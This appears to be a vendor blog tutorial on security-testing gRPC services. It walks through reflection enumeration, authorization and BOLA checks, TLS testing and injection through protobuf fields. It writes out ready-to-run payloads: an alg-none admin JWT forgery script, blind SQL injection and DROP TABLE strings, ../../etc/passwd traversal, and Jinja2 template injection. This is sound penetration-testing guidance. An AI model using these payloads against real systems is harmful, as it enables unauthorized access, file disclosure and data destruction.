gRPC Security Testing: Protocol Buffers, Reflection APIs, and Authorization Flaws

Most security scanners were built for REST. They speak HTTP/1.1 and JSON. When you point them at a gRPC endpoint, they either choke silently or return nothing useful. Meanwhile, that gRPC service is potentially running with reflection enabled, no per-method authorization, and metadata tokens that bypass TLS validation — and nobody noticed because the automated tooling never looked.

This guide covers how to actually test gRPC services: enumerating services with and without reflection, forging authentication headers, finding broken object-level and method-level authorization, injecting through protobuf fields, and the specific misconfigurations that show up repeatedly in production deployments.

What Makes gRPC Different From REST

gRPC is a remote procedure call framework developed by Google that uses Protocol Buffers (protobuf) for serialization and HTTP/2 as the transport layer. This combination has real performance advantages — binary serialization is smaller and faster than JSON, HTTP/2 gives you multiplexing and header compression, and the strongly typed schema means generated client/server code on both ends.

From a security testing perspective, three things make gRPC fundamentally different from REST:

gRPC uses HTTP/2 under the hood, but it's not standard HTTP. Requests go to POST /package.ServiceName/MethodName with Content-Type: application/grpc. Authentication tokens travel in HTTP/2 headers called metadata, which map roughly to HTTP headers but with gRPC-specific conventions. Authorization logic lives in server-side interceptors — and those interceptors may or may not cover every method.

The gRPC Testing Toolkit

Before anything else, get your tooling in place. The core tools for gRPC security testing:

Tool Primary Use Notes
grpcurl CLI client — send requests, enumerate services The curl of gRPC; works with or without reflection
Evans Interactive REPL for gRPC exploration Useful for iterative manual testing
grpc-client-cli Scripted gRPC testing with JSON input Good for automated payload fuzzing
Burp Suite (gRPC plugin) HTTP/2 interception and modification Requires Burp Pro + gRPC extension; handles protobuf decode
grpc-dump / grpc-proxy Traffic interception and replay Useful for intercepting gRPC between microservices
protoc + protoc-gen-go Compile .proto files, generate stubs Needed for custom client code
Wireshark (with protobuf dissector) Packet-level traffic analysis Load the .proto file as a dissector for readable output

Install grpcurl on Kali or any Debian-based system:

# Install grpcurl
go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# Or via apt on newer Kali
apt install grpcurl

# Install Evans
go install github.com/ktr0731/evans@latest

Step 1: Service Enumeration via Reflection

The gRPC Server Reflection Protocol is a standardized mechanism that lets clients discover what services a server exposes without having the .proto files. It's designed for developer tooling — grpcurl uses it, Postman uses it, gRPC UI uses it. The problem is that reflection is often left enabled in production deployments because teams forget it was turned on during development.

Reflection exposes the complete service schema: every service name, every RPC method, every message type and field. That's a full blueprint of the attack surface, handed over to anyone who connects to the port.

Check if reflection is enabled:

# List all services (plaintext)
grpcurl -plaintext target.example.com:50051 list

# List all services (TLS)
grpcurl target.example.com:443 list

# List all services (TLS, skip cert verification)
grpcurl -insecure target.example.com:443 list

If reflection is enabled, you'll get output like:

grpc.reflection.v1alpha.ServerReflection
payment.PaymentService
user.UserService
admin.AdminService
billing.BillingService

The presence of admin.AdminService in a reflection response is immediately interesting — now enumerate its methods:

# Describe a specific service
grpcurl -plaintext target.example.com:50051 describe admin.AdminService

# Describe a specific method
grpcurl -plaintext target.example.com:50051 describe admin.AdminService.DeleteUser

# Describe a message type
grpcurl -plaintext target.example.com:50051 describe admin.DeleteUserRequest

The describe output gives you the full proto definition in human-readable format:

admin.AdminService is a service:
service AdminService {
  rpc DeleteUser ( .admin.DeleteUserRequest ) returns ( .admin.DeleteUserResponse );
  rpc ListAllUsers ( .admin.ListUsersRequest ) returns ( .admin.ListUsersResponse );
  rpc ResetUserPassword ( .admin.ResetPasswordRequest ) returns ( .admin.ResetPasswordResponse );
  rpc GetSystemMetrics ( .admin.MetricsRequest ) returns ( .admin.MetricsResponse );
}

You now know exactly what admin functionality exists. The next question is whether any of those methods actually enforce authorization.

Step 2: Enumerating Services Without Reflection

When reflection is disabled — which it should be in production — you have several options.

Use .proto files directly

If you have access to the application's source repository (internal pentest, code review engagement, or the repo is public), .proto files are your primary asset. Pass them directly to grpcurl:

# Use a local .proto file instead of reflection
grpcurl -import-path ./proto -proto user.proto \
  -plaintext target.example.com:50051 list

# Call a method using local proto
grpcurl -import-path ./proto -proto user.proto \
  -plaintext -d '{"user_id": "123"}' \
  target.example.com:50051 user.UserService/GetUser

Wordlist-based brute force

gRPC method paths follow a predictable pattern: /package.ServiceName/MethodName. You can attempt known service and method names against the target. Several wordlists exist for this, or build one from common patterns:

# Attempt a known method path directly
grpcurl -plaintext -d '{}' \
  target.example.com:50051 \
  helloworld.Greeter/SayHello

# If the method doesn't exist, you get:
# Failed to dial target host "target.example.com:50051": ...
# Or: Code: Unimplemented, Message: unknown service helloworld.Greeter

Tools like grpc-enum automate this with wordlists derived from common gRPC service patterns.

Extract from compiled client binaries

Mobile apps and desktop clients that use gRPC often ship with embedded proto descriptors. On Android APKs, use apktool to decompile and look for .proto files or descriptor.pb files in assets/. On iOS, look inside the .ipa bundle. On Electron apps, check the resources/ directory. The strings command on compiled binaries also frequently reveals service and method names.

# Extract strings from binary that may contain service paths
strings ./grpc-client-binary | grep -E "^[a-z]+\.[A-Z][a-zA-Z]+/[A-Z][a-zA-Z]+"

# On Android APK
apktool d app.apk -o app-decoded
find app-decoded -name "*.proto" -o -name "*.pb"

Step 3: Authentication Testing — Metadata Headers

gRPC authentication is passed in request metadata — HTTP/2 headers with names prefixed by convention. The most common patterns:

Metadata Key Typical Value Notes
authorization Bearer <JWT> Standard; maps directly from HTTP convention
x-api-key <key> API key auth; often not rotated
token <opaque token> Custom; may lack expiry
x-user-id 12345 Trust-based identity — high risk if accepted
grpc-metadata-* varies Forwarded metadata in service mesh contexts

Pass metadata headers in grpcurl with the -H flag:

# Authenticated request with Bearer token
grpcurl -plaintext \
  -H 'authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...' \
  -d '{"user_id": "456"}' \
  target.example.com:50051 user.UserService/GetUser

# Try with no auth at all
grpcurl -plaintext \
  -d '{"user_id": "456"}' \
  target.example.com:50051 user.UserService/GetUser

# Try with empty auth header
grpcurl -plaintext \
  -H 'authorization: ' \
  -d '{"user_id": "456"}' \
  target.example.com:50051 user.UserService/GetUser

# Try with "null" token — some middleware doesn't validate format
grpcurl -plaintext \
  -H 'authorization: Bearer null' \
  -d '{"user_id": "456"}' \
  target.example.com:50051 user.UserService/GetUser

Testing for missing method-level authorization

This is the most commonly exploited flaw in gRPC services. Authorization interceptors are typically registered globally, but developers sometimes add exceptions for specific methods (health checks, version endpoints) and then forget to restrict scope. Additionally, when new RPC methods are added to an existing service, they sometimes miss the interceptor registration entirely.

The test is straightforward: call every method you've enumerated with no credentials, with a low-privilege token, and with an admin token, and compare the responses. Any method that returns data with a low-privilege or missing token that it shouldn't is a broken authorization finding.

# Systematic method testing — no auth
for method in DeleteUser ListAllUsers ResetUserPassword GetSystemMetrics; do
  echo "Testing admin.AdminService/$method with no auth:"
  grpcurl -plaintext -d '{}' \
    target.example.com:50051 \
    "admin.AdminService/$method" 2>&1 | head -3
  echo "---"
done

If GetSystemMetrics returns data without a token while DeleteUser properly returns Code: Unauthenticated, you have an incomplete authorization implementation.

Broken Function Level Authorization in gRPC

Interceptors that check authentication but not authorization allow any authenticated user to call admin-only RPC methods. Test every method independently — don't assume that because one method requires admin, all methods in the same service do.

Step 4: JWT and Token Manipulation in gRPC Metadata

JWT tokens passed in gRPC metadata are subject to the same attacks as in REST: algorithm confusion, weak signatures, claim manipulation, and missing expiry validation. The only difference is the delivery mechanism.

# Decode the token structure (base64 decode each section)
echo "eyJhbGciOiJSUzI1NiJ9" | base64 -d
# {"alg":"RS256"}

# Algorithm none attack — forge a token with no signature
# Header: {"alg":"none","typ":"JWT"}
# Payload: {"sub":"admin","role":"admin","iat":1751001600}
python3 -c "
import base64, json

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64url_encode(json.dumps({'alg':'none','typ':'JWT'}).encode())
payload = b64url_encode(json.dumps({'sub':'admin','role':'admin','iat':1751001600}).encode())
token = f'{header}.{payload}.'
print(token)
"
# Use the forged token
grpcurl -plaintext \
  -H 'authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc1MTAwMTYwMH0.' \
  -d '{"user_id": "1"}' \
  target.example.com:50051 admin.AdminService/ListAllUsers

Also test role escalation within a valid token. If you have a token with "role":"user", modify the payload to "role":"admin", re-sign with a known weak secret or use the algorithm-none trick, and see whether the server validates the signature or just decodes the claims.

Service-to-service token forwarding

In microservice architectures, gRPC services often call each other. A common pattern is to forward the end-user token from service A to service B, or to use a shared service account token. If you can discover the internal service account token (in environment variables, Kubernetes secrets, or config files), you can call internal gRPC services directly with elevated trust.

# Test if service accepts internal service account token
grpcurl -plaintext \
  -H 'authorization: Bearer <internal-service-token>' \
  -H 'x-forwarded-user: admin@example.com' \
  -d '{"include_deleted": true}' \
  internal-service.namespace.svc.cluster.local:50051 \
  user.UserService/ListAllUsers

Step 5: Injection Through Protobuf Fields

Binary serialization does not sanitize input. Protobuf fields that end up in SQL queries, shell commands, LDAP filters, or file paths are just as vulnerable to injection as JSON fields. The attack surface is the same; the encoding is different.

Consider this proto definition:

// search.proto
syntax = "proto3";

package search;

message SearchRequest {
  string query = 1;
  string category = 2;
  int32 limit = 3;
  int32 offset = 4;
  repeated string filters = 5;
}

message SearchResponse {
  repeated Result results = 1;
  int32 total = 2;
}

service SearchService {
  rpc Search (SearchRequest) returns (SearchResponse);
}

The query and category fields are obvious injection targets. If the backend constructs SQL like SELECT * FROM products WHERE category = '$category' AND name LIKE '%$query%', you have the usual injection surface:

# SQL injection via grpcurl — JSON maps to proto fields by name
grpcurl -plaintext \
  -d '{"query": "test'\''", "category": "electronics", "limit": 10}' \
  target.example.com:50051 search.SearchService/Search

# Time-based blind SQLi
grpcurl -plaintext \
  -d '{"query": "test", "category": "electronics'\'' AND SLEEP(5)--", "limit": 10}' \
  target.example.com:50051 search.SearchService/Search

# Test filters array field
grpcurl -plaintext \
  -d '{"query": "test", "filters": ["price > 100", "1=1--"], "limit": 10}' \
  target.example.com:50051 search.SearchService/Search

Path traversal in file-related fields

# Proto with file operations
message FileRequest {
  string filename = 1;
  string directory = 2;
}

# Path traversal test
grpcurl -plaintext \
  -d '{"filename": "../../etc/passwd", "directory": "/uploads"}' \
  target.example.com:50051 files.FileService/GetFile

# URL-encoded variant (server may decode before path join)
grpcurl -plaintext \
  -d '{"filename": "..%2F..%2Fetc%2Fpasswd", "directory": "/uploads"}' \
  target.example.com:50051 files.FileService/GetFile

Server-side template injection via protobuf fields

# Test template injection in string fields
grpcurl -plaintext \
  -d '{"template": "Hello {{7*7}}", "user_id": "123"}' \
  target.example.com:50051 notification.NotificationService/SendMessage

# Jinja2 SSTI
grpcurl -plaintext \
  -d '{"message": "{% for c in [].__class__.__base__.__subclasses__() %}{{c}}{% endfor %}"}' \
  target.example.com:50051 notification.NotificationService/SendMessage

Step 6: Object-Level Authorization (BOLA/IDOR) in gRPC

Broken Object Level Authorization is just as prevalent in gRPC as in REST. The pattern is identical: the client sends an ID, the server fetches the record, and the server fails to verify that the authenticated user owns that record.

# Proto definition for order service
message GetOrderRequest {
  string order_id = 1;
}

# As user A (legitimate owner of order 1001):
grpcurl -plaintext \
  -H 'authorization: Bearer <user-a-token>' \
  -d '{"order_id": "1001"}' \
  target.example.com:50051 orders.OrderService/GetOrder

# As user A, access user B's order (BOLA test):
grpcurl -plaintext \
  -H 'authorization: Bearer <user-a-token>' \
  -d '{"order_id": "1002"}' \
  target.example.com:50051 orders.OrderService/GetOrder

With streaming RPCs, BOLA testing extends to subscription channels. If a server-streaming RPC like WatchOrder streams updates for a given order ID, verify that users cannot subscribe to events for orders they don't own:

# Server streaming — subscribe to another user's order events
grpcurl -plaintext \
  -H 'authorization: Bearer <user-a-token>' \
  -d '{"order_id": "1002"}' \
  target.example.com:50051 orders.OrderService/WatchOrder

Step 7: TLS and Certificate Validation

gRPC is designed to run over TLS. But in microservice deployments, internal gRPC traffic between services in the same cluster often runs in plaintext, assuming the network perimeter is sufficient protection. If you're on the internal network (or have compromised one service), plaintext gRPC is trivially interceptable and modifiable.

Test what the server actually accepts:

# Does the server accept plaintext connections?
grpcurl -plaintext target.example.com:50051 list

# Does the server enforce mutual TLS (mTLS)?
# Attempt without client certificate
grpcurl target.example.com:50051 list

# Attempt with expired/self-signed client cert
grpcurl -cert ./client-expired.crt -key ./client.key \
  target.example.com:50051 list

For TLS testing, also check certificate validation on the client side. If a gRPC client connects to a server with an invalid certificate and proceeds anyway (ignoring validation errors), that client is vulnerable to MITM on the gRPC channel. This is particularly common in internal tooling and CI/CD pipelines.

# If a client binary is available, test with a MITM proxy
# Set up grpc-proxy with a self-signed cert
# Point the client at your proxy
# If the client connects successfully → certificate validation disabled

# Check server TLS configuration
openssl s_client -connect target.example.com:50051 \
  -alpn h2 2>/dev/null | grep -E "Protocol|Cipher|subject|issuer"

Testing mTLS enforcement

In service mesh setups (Istio, Linkerd), mTLS is supposed to be enforced between services. Check whether you can bypass this by:

# Check Istio PeerAuthentication policy
kubectl get peerauthentication --all-namespaces

# PERMISSIVE mode means plaintext is accepted — test it:
grpcurl -plaintext internal-service.namespace.svc.cluster.local:50051 list

Step 8: Intercepting gRPC with Burp Suite

Burp Suite Pro with the gRPC extension handles HTTP/2 traffic and protobuf decoding. Setup:

  1. Enable HTTP/2 support in Burp: Proxy → Options → HTTP/2 → enable
  2. Install the gRPC extension from the BApp Store
  3. Configure the gRPC extension with your .proto files for field-name decoding
  4. Route your gRPC client through Burp's proxy: set HTTPS_PROXY or use grpcurl's --proxy flag
# Route grpcurl through Burp
HTTPS_PROXY=http://127.0.0.1:8080 grpcurl \
  -insecure \
  -d '{"user_id": "123"}' \
  target.example.com:443 user.UserService/GetUser

Once traffic flows through Burp, you can use the Repeater to modify fields and replay requests, and the Scanner to run active checks against individual RPC calls. The gRPC extension decodes the protobuf payload into a readable format and re-encodes your modifications before forwarding.

For Evans, the interactive REPL is useful for exploratory testing where you want to call methods interactively, inspect responses, and iterate on inputs:

# Start Evans in REPL mode with reflection
evans --host target.example.com --port 50051 repl

# Inside Evans REPL:
> show package
> package user
> show service
> service UserService
> show message GetUserRequest
> call GetUser
user_id (TYPE_STRING) => 123

Common Misconfigurations: What You Actually Find

Reflection Enabled in Production

The single most common gRPC misconfiguration. Development teams enable reflection for tooling convenience and never disable it before deploying. Full service schema exposed to any client that connects to the port.

Authentication Interceptor Not Applied to All Methods

Global interceptors with explicit allow-lists for unauthenticated methods are safer than per-method opt-in auth. When teams add new RPC methods, they sometimes forget to add them to the interceptor scope. Result: new functionality ships without authentication.

Admin Services on the Same Port as Public Services

Exposing admin RPCs on the same gRPC server as public APIs, relying only on auth headers to separate them. Correct design is to bind admin services to internal-only listeners (localhost or private network interfaces).

Plaintext Internal gRPC Traffic

Services calling each other over plaintext gRPC within a cluster, assuming the network is trusted. Compromising any service on the network provides a position to intercept and modify all internal gRPC traffic.

Forwarded User Identity Headers Trusted Without Validation

Services accepting x-user-id or x-forwarded-user metadata headers and trusting them as authenticated identity without verifying a signature. Any service that can reach the gRPC port can impersonate any user.

Missing Rate Limiting on Streaming RPCs

Bidirectional streaming RPCs that allow clients to send an unlimited number of messages without rate limiting or message size caps. A single persistent connection can generate significant server-side load.

Error Message Enumeration

gRPC status codes reveal information about the server state. The difference between NOT_FOUND and PERMISSION_DENIED on a resource lookup confirms whether the resource exists. Consistent NOT_FOUND responses regardless of auth status prevent enumeration; inconsistent responses confirm the object exists but the caller lacks permission.

# Probe for resource existence via error code differences
grpcurl -plaintext \
  -d '{"user_id": "1"}' \
  target.example.com:50051 user.UserService/GetUser
# Returns: Code: PermissionDenied → user 1 EXISTS but you can't access it

grpcurl -plaintext \
  -d '{"user_id": "99999999"}' \
  target.example.com:50051 user.UserService/GetUser
# Returns: Code: NotFound → user 99999999 does not exist

This error code difference leaks user ID validity. An attacker can enumerate valid user IDs by observing whether responses return NOT_FOUND or PERMISSION_DENIED.

Also check detailed error messages. gRPC error details can contain stack traces, internal service names, database query fragments, or file paths — particularly in development-mode configurations accidentally deployed to production:

# Send malformed input to trigger detailed error responses
grpcurl -plaintext \
  -d '{"user_id": "'; DROP TABLE users; --"}' \
  target.example.com:50051 user.UserService/GetUser

Testing Checklist

Run through this list against every gRPC service in scope:

  1. Reflection probe — is grpc.reflection.v1alpha.ServerReflection in the service list?
  2. Service enumeration — document all services and methods via reflection or .proto files
  3. Unauthenticated access — call every method with no credentials
  4. Low-privilege access to admin methods — call admin methods with a regular user token
  5. BOLA testing — access resources belonging to other users with your own token
  6. JWT manipulation — algorithm confusion, claim tampering, algorithm-none attack
  7. Metadata header injection — test x-user-id, x-forwarded-user, custom trust headers
  8. Injection in all string fields — SQL, SSTI, command injection, path traversal
  9. TLS validation — plaintext acceptance, certificate validation, mTLS enforcement
  10. Error code enumeration — do error codes leak resource existence?
  11. Streaming resource limits — can you exhaust server resources via streaming RPCs?
  12. Admin services on public ports — are admin RPCs accessible without network-level controls?

gRPC APIs need the same security scrutiny as REST, but most scanners don't speak protobuf. They miss reflection exposure, can't decode binary payloads, and skip the method-level authorization testing that catches the actual findings. Ironimo tests gRPC services using the same methodology pentesters use — enumerating exposed schema, probing authentication on each method, and testing authorization at the object level.

On-demand scanning across your entire attack surface — REST, GraphQL, and gRPC APIs — without manual configuration.

Start free scan
← Back to blog